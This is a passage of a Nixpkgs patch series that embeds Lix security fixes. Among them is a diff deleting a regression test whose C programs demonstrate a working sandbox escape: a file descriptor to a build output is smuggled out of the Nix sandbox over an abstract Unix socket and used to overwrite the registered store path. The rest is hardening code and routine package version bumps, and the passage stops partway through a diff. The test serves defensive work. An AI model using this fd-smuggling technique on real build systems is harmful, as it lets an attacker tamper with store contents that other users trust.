---- a/tests/nixos/ca-fd-leak/default.nix
-+++ /dev/null
-@@ -1,90 +0,0 @@
--# Nix is a sandboxed build system. But Not everything can be handled inside its
--# sandbox: Network access is normally blocked off, but to download sources, a
--# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
--# The detail here is not important, but in our case it means that the hash of
--# the output has to be known beforehand. And if you know that, you get a few
--# rights: you no longer run inside a special network namespace!
--#
--# Now, Linux has a special feature, that not many other unices do: Abstract
--# unix domain sockets! Not only that, but those are namespaced using the
--# network namespace! That means that we have a way to create sockets that are
--# available in every single fixed-output derivation, and also all processes
--# running on the host machine! Now, this wouldn't be that much of an issue, as,
--# well, the whole idea is that the output is pure, and all processes in the
--# sandbox are killed before finalizing the output. What if we didn't need those
--# processes at all? Unix domain sockets have a semi-known trick: you can pass
--# file descriptors around!
--# This makes it possible to exfiltrate a file-descriptor with write access to
--# $out outside of the sandbox. And that file-descriptor can be used to modify
--# the contents of the store path after it has been registered.
--
--{ config, ... }:
--
--let
--  pkgs = config.nodes.machine.nixpkgs.pkgs;
--
--  # Simple C program that sends a a file descriptor to `$out` to a Unix
--  # domain socket.
--  # Compiled statically so that we can easily send it to the VM and use it
--  # inside the build sandbox.
--  sender = pkgs.runCommandWith {
--    name = "sender";
--    stdenv = pkgs.pkgsStatic.stdenv;
--  } ''
--    $CC -static -o $out ${./sender.c}
--  '';
--
--  # Okay, so we have a file descriptor shipped out of the FOD now. But the
--  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
--  # lives in a mount namespace where it is not! So even when this file exists
--  # in the actual Nix store, we're capable of just modifying its contents...
--  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
--
--  # The abstract socket path used to exfiltrate the file descriptor
--  socketName = "FODSandboxExfiltrationSocket";
--in
--{
--  name = "ca-fd-leak";
--
--  nodes.machine =
--    { config, lib, pkgs, ... }:
--    { virtualisation.writableStore = true;
--      nix.settings.substituters = lib.mkForce [ ];
--      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
--    };
--
--  testScript = { nodes }: ''
--    start_all()
--
--    machine.succeed("echo hello")
--    # Start the smuggler server
--    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
--
--    # Build the smuggled derivation.
--    # This will connect to the smuggler server and send it the file descriptor
--    machine.succeed(r"""
--      nix-build -E '
--        builtins.derivation {
--          name = "smuggled";
--          system = builtins.currentSystem;
--          # look ma, no tricks!
--          outputHashMode = "flat";
--          outputHashAlgo = "sha256";
--          outputHash = builtins.hashString "sha256" "hello, world\n";
--          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
--          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
--      }'
--    """.strip())
--
--
--    # Tell the smuggler server that we're done
--    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
--
--    # Check that the file was not modified
--    machine.succeed(r"""
--      cat ./result
--      test "$(cat ./result)" = "hello, world"
--    """.strip())
--  '';
--
--}
-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
-deleted file mode 100644
-index 75e54fc8f..000000000
---- a/tests/nixos/ca-fd-leak/sender.c
-+++ /dev/null
-@@ -1,65 +0,0 @@
--#include <sys/socket.h>
--#include <sys/un.h>
--#include <stdlib.h>
--#include <stddef.h>
--#include <stdio.h>
--#include <unistd.h>
--#include <fcntl.h>
--#include <errno.h>
--#include <string.h>
--#include <assert.h>
--
--int main(int argc, char **argv) {
--
--    assert(argc == 2);
--
--    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
--
--    // Set up a abstract domain socket path to connect to.
--    struct sockaddr_un data;
--    data.sun_family = AF_UNIX;
--    data.sun_path[0] = 0;
--    strcpy(data.sun_path + 1, argv[1]);
--
--    // Now try to connect, To ensure we work no matter what order we are
--    // executed in, just busyloop here.
--    int res = -1;
--    while (res < 0) {
--        res = connect(sock, (const struct sockaddr *)&data,
--            offsetof(struct sockaddr_un, sun_path)
--              + strlen(argv[1])
--              + 1);
--        if (res < 0 && errno != ECONNREFUSED) perror("connect");
--        if (errno != ECONNREFUSED) break;
--    }
--
--    // Write our message header.
--    struct msghdr msg = {0};
--    msg.msg_control = malloc(128);
--    msg.msg_controllen = 128;
--
--    // Write an SCM_RIGHTS message containing the output path.
--    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
--    hdr->cmsg_len = CMSG_LEN(sizeof(int));
--    hdr->cmsg_level = SOL_SOCKET;
--    hdr->cmsg_type = SCM_RIGHTS;
--    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
--    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
--
--    msg.msg_controllen = CMSG_SPACE(sizeof(int));
--
--    // Write a single null byte too.
--    msg.msg_iov = malloc(sizeof(struct iovec));
--    msg.msg_iov[0].iov_base = "";
--    msg.msg_iov[0].iov_len = 1;
--    msg.msg_iovlen = 1;
--
--    // Send it to the othher side of this connection.
--    res = sendmsg(sock, &msg, 0);
--    if (res < 0) perror("sendmsg");
--    int buf;
--
--    // Wait for the server to close the socket, implying that it has
--    // received the commmand.
--    recv(sock, (void *)&buf, sizeof(int), 0);
--}
-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
-deleted file mode 100644
-index 82acf37e6..000000000
---- a/tests/nixos/ca-fd-leak/smuggler.c
-+++ /dev/null
-@@ -1,66 +0,0 @@
--#include <sys/socket.h>
--#include <sys/un.h>
--#include <stdlib.h>
--#include <stddef.h>
--#include <stdio.h>
--#include <unistd.h>
--#include <assert.h>
--
--int main(int argc, char **argv) {
--
--    assert(argc == 2);
--
--    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
--
--    // Bind to the socket.
--    struct sockaddr_un data;
--    data.sun_family = AF_UNIX;
--    data.sun_path[0] = 0;
--    strcpy(data.sun_path + 1, argv[1]);
--    int res = bind(sock, (const struct sockaddr *)&data,
--        offsetof(struct sockaddr_un, sun_path)
--        + strlen(argv[1])
--        + 1);
--    if (res < 0) perror("bind");
--
--    res = listen(sock, 1);
--    if (res < 0) perror("listen");
--
--    int smuggling_fd = -1;
--
--    // Accept the connection a first time to receive the file descriptor.
--    fprintf(stderr, "%s\n", "Waiting for the first connection");
--    int a = accept(sock, 0, 0);
--    if (a < 0) perror("accept");
--
--    struct msghdr msg = {0};
--    msg.msg_control = malloc(128);
--    msg.msg_controllen = 128;
--
--    // Receive the file descriptor as sent by the smuggler.
--    recvmsg(a, &msg, 0);
--
--    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
--    while (hdr) {
--        if (hdr->cmsg_level == SOL_SOCKET
--          && hdr->cmsg_type == SCM_RIGHTS) {
--
--            // Grab the copy of the file descriptor.
--            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
--        }
--
--        hdr = CMSG_NXTHDR(&msg, hdr);
--    }
--    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
--    close(a);
--
--    // Wait for a second connection, which will tell us that the build is
--    // done
--    a = accept(sock, 0, 0);
--    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
--    // Write a new content to the file
--    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
--    char * new_content = "Pwned\n";
--    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
--    if (written_bytes != strlen(new_content)) perror("write");
--}
-diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
-index 474b4ad64..2ad0923e1 100644
---- a/tests/nixos/default.nix
-+++ b/tests/nixos/default.nix
-@@ -160,8 +160,6 @@ in
-     ["i686-linux" "x86_64-linux"]
-     (system: runNixOSTestFor system ./setuid/setuid.nix);
- 
--  ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
--
-   fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
- 
-   symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
-diff --git a/tests/nixos/fetchurl.nix b/tests/nixos/fetchurl.nix
-index 719405be5..1626e1c03 100644
---- a/tests/nixos/fetchurl.nix
-+++ b/tests/nixos/fetchurl.nix
-@@ -52,7 +52,7 @@ in
- 
-       security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
- 
--      networking.hosts."127.0.0.1" = [ "good" "bad" ];
-+      networking.hosts."192.168.1.1" = [ "good" "bad" ];
- 
-       virtualisation.writableStore = true;
- 
--- 
-2.49.0
-
-
-From 05eba34893122d395774b4ee5eaf4c03ae588ea0 Mon Sep 17 00:00:00 2001
-From: eldritch horrors <pennae@lix.systems>
-Date: Sun, 30 Mar 2025 16:45:34 +0200
-Subject: [SECURITY FIX 11/12] libstore: don't default build-dir to temp-dir
-
-if a build directory is accessible to other users it is possible to
-smuggle data in and out of build directories. usually this ins only
-a build purity problem, but in combination with other issues it can
-be used to break out of a build sandbox. to prevent this we default
-to using a subdirectory of nixStateDir (which is more restrictive).
-
-Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0
----
- doc/manual/rl-next/build-dir-mandatory.md     | 12 +++++++++++
- lix/libstore/build/local-derivation-goal.cc   |  4 +++-
- lix/libstore/settings/build-dir.md            | 18 ++++++++++++----
- misc/systemd/nix-daemon.conf.in               |  3 ++-
- .../build-remote-trustless-should-fail-0.sh   |  1 -
- tests/functional/build-remote-trustless.sh    |  1 -
- tests/functional/build-remote.sh              |  1 -
- tests/functional/check.sh                     | 21 -------------------
- tests/functional/supplementary-groups.sh      |  1 -
- 9 files changed, 31 insertions(+), 31 deletions(-)
- create mode 100644 doc/manual/rl-next/build-dir-mandatory.md
-
-diff --git a/doc/manual/rl-next/build-dir-mandatory.md b/doc/manual/rl-next/build-dir-mandatory.md
-new file mode 100644
-index 000000000..6f69bbba3
---- /dev/null
-+++ b/doc/manual/rl-next/build-dir-mandatory.md
-@@ -0,0 +1,12 @@
-+---
-+synopsis: "`build-dir` no longer defaults to `temp-dir`"
-+cls: []
-+category: "Fixes"
-+credits: [horrors]
-+---
-+
-+The directory in which temporary build directories are created no longer defaults
-+to the value of the `temp-dir` setting to avoid builders making their directories
-+world-accessible. This behavior has been used to escape the build sandbox and can
-+cause build impurities even when not used maliciously. We now default to `builds`
-+in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration).
-diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
-index 7ccb0ad33..2e22f2544 100644
---- a/lix/libstore/build/local-derivation-goal.cc
-+++ b/lix/libstore/build/local-derivation-goal.cc
-@@ -435,10 +435,12 @@ try {
-         });
-     }
- 
-+    createDirs(settings.buildDir.get());
-+
-     /* Create a temporary directory where the build will take
-        place. */
-     tmpDir = createTempDir(
--        settings.buildDir.get().value_or(""),
-+        settings.buildDir.get(),
-         "nix-build-" + std::string(drvPath.name()),
-         false,
-         false,
-diff --git a/lix/libstore/settings/build-dir.md b/lix/libstore/settings/build-dir.md
-index f518d52a5..738368622 100644
---- a/lix/libstore/settings/build-dir.md
-+++ b/lix/libstore/settings/build-dir.md
-@@ -1,14 +1,24 @@
- ---
- name: build-dir
- internalName: buildDir
--settingType: PathsSetting<std::optional<Path>>
--default: null
-+settingType: PathsSetting<Path>
-+defaultText: "`«nixStateDir»/builds`"
-+defaultExpr: nixStateDir + "/builds"
- ---
- The directory on the host, in which derivations' temporary build directories are created.
- 
--If not set, Nix will use the [`temp-dir`](#conf-temp-dir) setting if set, otherwise the system temporary directory indicated by the `TMPDIR` environment variable.
--Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface.
-+If not set, Lix will use the `builds` subdirectory of its configured state directory.
-+Lix will create this directory automatically with suitable permissions if it does not
-+exist, otherwise its permissions must allow all users to traverse the directory (i.e.
-+it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly.
- 
- This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files.
- 
- If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir).
-+
-+> Important:
-+>
-+> `build-dir` must not be set to a world-writable directory. Placing temporary build
-+> directories in a world-writable place allows other users to access or modify build
-+> data that is currently in use. This alone is merely an impurity, but combined with
-+> another factor this has allowed malicious derivations to escape the build sandbox.
-diff --git a/misc/systemd/nix-daemon.conf.in b/misc/systemd/nix-daemon.conf.in
-index e7b264234..a0ddc4019 100644
---- a/misc/systemd/nix-daemon.conf.in
-+++ b/misc/systemd/nix-daemon.conf.in
-@@ -1 +1,2 @@
--d @localstatedir@/nix/daemon-socket 0755 root root - -
-+d @localstatedir@/nix/daemon-socket 0755 root root -  -
-+d @localstatedir@/nix/builds        0755 root root 7d -
-diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh
-index 1582a7b32..e938e63a2 100644
---- a/tests/functional/build-remote-trustless-should-fail-0.sh
-+++ b/tests/functional/build-remote-trustless-should-fail-0.sh
-@@ -8,7 +8,6 @@ requireSandboxSupport
- [[ $busybox =~ busybox ]] || skipTest "no busybox"
- 
- unset NIX_STORE_DIR
--unset NIX_STATE_DIR
- 
- # We first build a dependency of the derivation we eventually want to
- # build.
-diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh
-index 81e5253bf..a0733fd4a 100644
---- a/tests/functional/build-remote-trustless.sh
-+++ b/tests/functional/build-remote-trustless.sh
-@@ -2,7 +2,6 @@ requireSandboxSupport
- [[ $busybox =~ busybox ]] || skipTest "no busybox"
- 
- unset NIX_STORE_DIR
--unset NIX_STATE_DIR
- 
- remoteDir=$TEST_ROOT/remote
- 
-diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh
-index 9b2f5feaf..c7aa09745 100644
---- a/tests/functional/build-remote.sh
-+++ b/tests/functional/build-remote.sh
-@@ -3,7 +3,6 @@ requireSandboxSupport
- 
- # Avoid store dir being inside sandbox build-dir
- unset NIX_STORE_DIR
--unset NIX_STATE_DIR
- 
- function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; }
- 
-diff --git a/tests/functional/check.sh b/tests/functional/check.sh
-index fc63b9e21..e6d017aa1 100644
---- a/tests/functional/check.sh
-+++ b/tests/functional/check.sh
-@@ -49,27 +49,6 @@ test_custom_build_dir() {
- }
- test_custom_build_dir
- 
--test_custom_temp_dir() {
--  # like test_custom_build_dir(), but uses the temp-dir setting instead
--  # build-dir inherits from temp-dir when build-dir is unset
--  local customTempDir="$TEST_ROOT/custom-temp-dir"
--
--  mkdir "$customTempDir"
--  nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \
--      --no-out-link --keep-failed --option temp-dir "$customTempDir" 2> $TEST_ROOT/log || status=$?
--  [ "$status" = "100" ]
--  [[ 1 == "$(count "$customTempDir/nix-build-"*)" ]]
--  local buildDir="$customTempDir/nix-build-"*
--  grep $checkBuildId $buildDir/checkBuildId
--
--  # also check a separate code path that doesn't involve build-dir
--  # nix-shell uses temp-dir for its rcfile path
--  rcpath=$(NIX_BUILD_SHELL=$SHELL nix-shell check.nix -A deterministic --option temp-dir "$customTempDir" --run 'echo $0' 2> $TEST_ROOT/log)
--  # rcpath is <temp-dir>/nix-shell-*/rc
--  [[ $rcpath = "$customTempDir"/* ]]
--}
--test_custom_temp_dir
--
- test_shell_preserves_tmpdir() {
-   # ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir
-   local envTempDir=$TEST_ROOT/shell-temp-dir-env
-diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh
-index d18fb2414..c1a949eb4 100644
---- a/tests/functional/supplementary-groups.sh
-+++ b/tests/functional/supplementary-groups.sh
-@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash <<EOF
- 
-   # Avoid store dir being inside sandbox build-dir
-   unset NIX_STORE_DIR
--  unset NIX_STATE_DIR
- 
-   setLocalStore () {
-     export NIX_REMOTE=\$TEST_ROOT/\$1
--- 
-2.49.0
-
-
-From ea51a906a7adb917f0fd57bc5d665be2e5e1badd Mon Sep 17 00:00:00 2001
-From: Raito Bezarius <raito@lix.systems>
-Date: Sat, 26 Apr 2025 20:38:58 +0200
-Subject: [SECURITY FIX 12/12] libstore/build: automatic clean up of
- unsuccessfully built scratch outputs
-
-When a build fails, its scratch output paths are not cleaned up.
-
-Until recently, this was deemed not a problem but as part of the effort
-to harden the Nix builds and protect these paths against being part of a
-staged attack (race conditions, etc.), we automatically cleanup after
-failed builds.
-
-Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09
-Signed-off-by: Raito Bezarius <raito@lix.systems>
----
- .../aggressive-derivation-output-cleanups.md  | 15 +++++++
- lix/libstore/build/local-derivation-goal.cc   | 41 +++++++++++++++----
- lix/libstore/build/local-derivation-goal.hh   | 15 ++++++-
- tests/nixos/default.nix                       |  3 ++
- tests/nixos/non-chroot-misc/default.nix       | 34 +++++++++++++++
- 5 files changed, 99 insertions(+), 9 deletions(-)
- create mode 100644 doc/manual/rl-next/aggressive-derivation-output-cleanups.md
- create mode 100644 tests/nixos/non-chroot-misc/default.nix
-
-diff --git a/doc/manual/rl-next/aggressive-derivation-output-cleanups.md b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md
-new file mode 100644
-index 000000000..7e94b99df
---- /dev/null
-+++ b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md
-@@ -0,0 +1,15 @@
-+---
-+synopsis: "Always clean up scratch paths after derivations failed to build"
-+issues: []
-+cls: []
-+category: "Fixes"
-+credits: ["raito", "horrors"]
-+---
-+
-+Previously, scratch paths created during builds were not always cleaned up if
-+the derivation failed, potentially leaving behind unnecessary temporary files
-+or directories in the Nix store.
-+
-+This fix ensures that such paths are consistently removed after a failed build,
-+improving Nix store hygiene, hardening Lix against mis-reuse of failed builds
-+scratch paths.
-diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
-index 2e22f2544..13bda5df9 100644
---- a/lix/libstore/build/local-derivation-goal.cc
-+++ b/lix/libstore/build/local-derivation-goal.cc
-@@ -393,9 +393,13 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeCheck()
- 
- void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck()
- {
--    /* Delete unused redirected outputs (when doing hash rewriting). */
--    for (auto & i : redirectedOutputs)
--        deletePath(worker.store.Store::toRealPath(i.second));
-+    /* In the past, redirected outputs were manually tracked for deletion.
-+     * Now that we have the scratch outputs cleaner which are a superset of
-+     * redirected outputs, we just fire all uncancelled automatic deleters now.
-+     *
-+     * This should clean up any paths that IS NOT registered in the database.
-+     */
-+    scratchOutputsCleaner.clear();
- 
-     /* Delete the chroot (if we were using one). */
-     autoDelChroot.reset(); /* this runs the destructor */
-@@ -483,6 +487,10 @@ try {
-                    to use a temporary path */
-                 makeFallbackPath(status.known->path);
-         scratchOutputs.insert_or_assign(outputName, scratchPath);
-+        /* Schedule this scratch output path for automatic deletion
-+         * if we do not cancel it, e.g. when registering the outputs.
-+         */
-+        scratchOutputsCleaner.emplace(outputName, worker.store.printStorePath(scratchPath));
- 
-         /* Substitute output placeholders with the scratch output paths.
-            We'll use during the build. */
-@@ -505,8 +513,6 @@ try {
-             std::string h2 { scratchPath.hashPart() };
-             inputRewrites[h1] = h2;
-         }
--
--        redirectedOutputs.insert_or_assign(std::move(fixedFinalPath), std::move(scratchPath));
-     }
- 
-     /* Construct the environment passed to the builder. */
-@@ -1966,7 +1972,9 @@ try {
-             }
- 
-             /* Don't register anything, since we already have the
--               previous versions which we're comparing. */
-+               previous versions which we're comparing.
-+               NOTE: this means that the `.check` path will be automatically deleted.
-+            */
-             continue;
-         }
- 
-@@ -1990,8 +1998,13 @@ try {
-         /* If it's a CA path, register it right away. This is necessary if it
-            isn't statically known so that we can safely unlock the path before
-            the next iteration */
--        if (newInfo.ca)
-+        if (newInfo.ca) {
-             TRY_AWAIT(localStore.registerValidPaths({{newInfo.path, newInfo}}));
-+            /* Cancel automatic deletion of that output if it was a scratch output. */
-+            if (auto cleaner = scratchOutputsCleaner.extract(outputName)) {
-+                cleaner.mapped().cancel();
-+            }
-+        }
- 
-         infos.emplace(outputName, std::move(newInfo));
-     }
-@@ -2030,6 +2043,13 @@ try {
-             infos2.insert_or_assign(newInfo.path, newInfo);
-         }
-         TRY_AWAIT(localStore.registerValidPaths(infos2));
-+
-+        /* Cancel automatic deletion of that output if it was a scratch output that we just registered. */
-+        for (auto & [outputName, _ ] : infos) {
-+            if (auto cleaner = scratchOutputsCleaner.extract(outputName)) {
-+                cleaner.mapped().cancel();
-+            }
-+        }
-     }
- 
-     /* In case of a fixed-output derivation hash mismatch, throw an
-@@ -2057,6 +2077,13 @@ try {
-         builtOutputs.emplace(outputName, thisRealisation);
-     }
- 
-+    /* NOTE: At this point, all outputs MAY NOT have been registered.
-+     * Therefore, there may remains auto-deleters pending in the cleaner list (`scratchOutputsCleaner`).
-+     *
-+     * They will be finally deleted but we have no way to assert they all have been, e.g.
-+     * `assert(scratchOutputsCleaner.size() == 0)` cannot be written.
-+     */
-+
-     co_return builtOutputs;
- } catch (...) {
-     co_return result::current_exception();
-diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
-index a0031e141..7e1b9a632 100644
---- a/lix/libstore/build/local-derivation-goal.hh
-+++ b/lix/libstore/build/local-derivation-goal.hh
-@@ -111,8 +111,6 @@ struct LocalDerivationGoal : public DerivationGoal
-      * Hash rewriting.
-      */
-     StringMap inputRewrites, outputRewrites;
--    typedef map<StorePath, StorePath> RedirectedOutputs;
--    RedirectedOutputs redirectedOutputs;
- 
-     /**
-      * The outputs paths used during the build.
-@@ -129,6 +127,19 @@ struct LocalDerivationGoal : public DerivationGoal
-      *   self-references.
-      */
-     OutputPathMap scratchOutputs;
-+    /**
-+     * Output paths used during the build are scheduled for
-+     * automatic cleanup unless they have been successfully built.
-+     *
-+     * `registerOutputs` take care of cancelling the cleanups
-+     * and clearing this vector.
-+     *
-+     * `startBuilder` take care of filling this vector
-+     * as `scratchOutputs` gets filled.
-+     *
-+     * This is a map from output names to automatic delete handles.
-+     */
-+    std::map<std::string, AutoDelete> scratchOutputsCleaner;
- 
-     /**
-      * Path registration info from the previous round, if we're
-diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
-index 2ad0923e1..7b9e11613 100644
---- a/tests/nixos/default.nix
-+++ b/tests/nixos/default.nix
-@@ -164,6 +164,9 @@ in
- 
-   symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
- 
-+  # Use this test to test things that cannot easily be tested under chroot Nix stores in functional test suite.
-+  non-chroot-misc = runNixOSTestFor "x86_64-linux" ./non-chroot-misc;
-+
-   noNewPrivilegesInSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/sandbox.nix;
- 
-   noNewPrivilegesOutsideSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/no-sandbox.nix;
-diff --git a/tests/nixos/non-chroot-misc/default.nix b/tests/nixos/non-chroot-misc/default.nix
-new file mode 100644
-index 000000000..93a66a595
---- /dev/null
-+++ b/tests/nixos/non-chroot-misc/default.nix
-@@ -0,0 +1,34 @@
-+{ ... }:
-+# Misc things we want to test inside of a non redirected, non chroot Nix store.
-+let
-+  nonAutoCleaningFailingDerivationCode = ''
-+    derivation {
-+      name = "scratch-failing";
-+      system = builtins.currentSystem;
-+      builder = "/bin/sh";
-+      args = [ (builtins.toFile "builder.sh" "echo bonjour > $out; echo out: $out; false") ];
-+    }
-+  '';
-+in
-+{
-+  name = "non-chroot-sandbox-misc";
-+
-+  nodes.machine = {
-+  };
-+
-+  testScript = { nodes }: ''
-+    import re
-+    start_all()
-+
-+    # You might ask yourself why write such a convoluted thing?
-+    # The condition for fooling Nix into NOT cleaning up the output path are non trivial and unclear.
-+    # This is one of those: create a derivation, mkdir or touch the $out path, communicate it back.
-+    # Even with a sandboxed Lix, you will observe leftovers before 2.93.0. After this version, this test passes.
-+    result = machine.fail("""nix-build --substituters "" -E '${nonAutoCleaningFailingDerivationCode}' 2>&1""")
-+    match = re.search(r'out: (\S+)', result)
-+    assert match is not None, "Did not find Nix store path in the result of the failing build"
-+    outpath = match.group(1).strip()
-+    print(f"Found Nix store path: {outpath}")
-+    machine.fail(f'stat {outpath}')
-+  '';
-+}
--- 
-2.49.0
-

From ba2b8f5050de4e46368727ea78795e5b76b1c94c Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 17 Jun 2025 18:47:27 +0200
Subject: [PATCH 1514/4511] element-web-unwrapped: 1.11.103 -> 1.11.104

Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.104
Full changelog: https://github.com/element-hq/element-web/compare/v1.11.103...v1.11.104

(cherry picked from commit d6f9b46f7d5a7320576a0b91fa6fcf31f6defcdd)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index 71084ad29a4b..0328f2f9bcd6 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.103";
+  "version" = "1.11.104";
   "hashes" = {
-    "webSrcHash" = "sha256-yTqrvKa9B6gJ3+WR6jJSud+L/rGQsm7DkLHuicrI5Es=";
-    "webYarnHash" = "sha256-ys/H9AG1EdGHVMTtluqNSg/aW/OOA9/x79hErgiKef0=";
+    "webSrcHash" = "sha256-OwkJccflilM98SklTb6yt6t2/71ITQXi3br7ICZ8z0k=";
+    "webYarnHash" = "sha256-PIxue2M0Hn8MeTRt7qJBtVJZ4hJzBbc0za+c7MEDbio=";
   };
 }

From 75c8cc0d6e3c1161381f22d0163d94346bf2a110 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 17 Jun 2025 18:55:15 +0200
Subject: [PATCH 1515/4511] element-desktop: 1.11.103 -> 1.11.104

Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.104
Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.103...v1.11.104

(cherry picked from commit 99d8933424f9e72feb46de8fa3ce859070f8ec4e)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index a4d2d573ccc1..d32c69e661d8 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.103";
+  "version" = "1.11.104";
   "hashes" = {
-    "desktopSrcHash" = "sha256-GKuIwoco8O9EjXrE7jGdfTDfWTyhozDtzrJFVH+uvaQ=";
-    "desktopYarnHash" = "sha256-/Gy/sYk8EBWU07zXwPl0zsDW5ADRq1j5PH4lPFe8dxk=";
+    "desktopSrcHash" = "sha256-y2lPa7Qj+y4XtfvGtJ8mJZ343syDquTqjkqeuqCUMYU=";
+    "desktopYarnHash" = "sha256-L1Yha0o4T5HefoWdRcfqMB/gOPEoQoY4iSED1zWK40g=";
   };
 }

From c7508a666f24d2d625e300ba117a019b005d2710 Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Tue, 24 Jun 2025 19:09:30 +0200
Subject: [PATCH 1516/4511] lixPackageSets.*.lix: provide a knob to enable
 pasta for FODs

---
 pkgs/tools/package-management/lix/common-lix.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index 077c4617698c..5db09e129f55 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -87,6 +87,8 @@ assert lib.assertMsg (
   # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50
   withLibseccomp ? lib.meta.availableOn stdenv.hostPlatform libseccomp,
   libseccomp,
+  pastaFod ? false,
+  passt,
 
   confDir,
   stateDir,
@@ -171,6 +173,7 @@ stdenv.mkDerivation (finalAttrs: {
       doxygen
     ]
     ++ lib.optionals (hasDtraceSupport && withDtrace) [ systemtap-sdt ]
+    ++ lib.optionals pastaFod [ passt ]
     ++ lib.optionals parseToYAML [ yq ]
     ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linuxMinimal ];
 

From 32cbafd22645bca6c0435d83a57399f2d119c26e Mon Sep 17 00:00:00 2001
From: Dom Rodriguez <shymega@shymega.org.uk>
Date: Sun, 22 Jun 2025 22:02:40 +0100
Subject: [PATCH 1517/4511] buildstream: Add `buildbox` as a dependency

Buildbox is needed at runtime *and* during builds. Without `buildbox`
available to the package, or otherwise in `$PATH`, Buildstream will not
run.

(cherry picked from commit b850eb81e21438f79928e9ce62a17c948db22ee1)
---
 pkgs/by-name/bu/buildstream/package.nix | 37 +++++++++++++------------
 1 file changed, 19 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/bu/buildstream/package.nix b/pkgs/by-name/bu/buildstream/package.nix
